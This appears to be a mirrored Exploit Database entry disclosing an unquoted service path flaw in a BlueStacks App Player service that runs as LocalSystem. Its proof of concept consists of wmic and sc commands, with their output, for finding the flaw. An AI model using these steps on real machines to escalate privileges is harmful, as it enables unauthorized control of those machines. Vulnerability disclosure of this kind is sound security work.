Blue Stacks App Player 2.4.44.62.57 – “BstHdLogRotatorSvc” Unquote Service Path

• Exploit Database
• 98 阅读

• 作者： Diego Armando Buztamante Rico
  日期： 2019-11-05
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/47582/

• # Exploit Title: Blue Stacks App Player 2.4.44.62.57 - "BstHdLogRotatorSvc" Unquote Service Path
  # Date: 2019-11-09
  # Exploit Author: Diego Armando Buztamante Rico
  # Vendor Homepage: www.bluestacks.com
  # Software Link: www.bluestacks.com
  # Version: 2.4.44.62.57
  # Tested on: Windows 8.1 Pro
  # CVE: NA
  
  #Description
  #Blue Stacks is an application which allows to run mobile apps on Windows and Mac. 
  #The service BstHdLogRotatorSvc is use to allow HD displays of Blue Stacks app.
  #The service suffers from an unquoted path.
  
  #PoC using CMD
  #Command to discover the unquoted path:
  
  C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """"
  
  #As a result we have
  
  BlueStacks Log Rotator Service BstHdLogRotatorSvc C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exeAuto
  
  #We use the name of service to get its information using next command.
  
  C:\Users\user>sc qc BstHdLogRotatorSvc
  [SC] QueryServiceConfig CORRECTO
  
  NOMBRE_SERVICIO: BstHdLogRotatorSvc
  TIPO : 10WIN32_OWN_PROCESS
  TIPO_INICIO: 2 AUTO_START
  CONTROL_ERROR: 1 NORMAL
  NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exe
  GRUPO_ORDEN_CARGA:
  ETIQUETA : 0
  NOMBRE_MOSTRAR : BlueStacks Log Rotator Service
  DEPENDENCIAS :
  NOMBRE_INICIO_SERVICIO: LocalSystem
  

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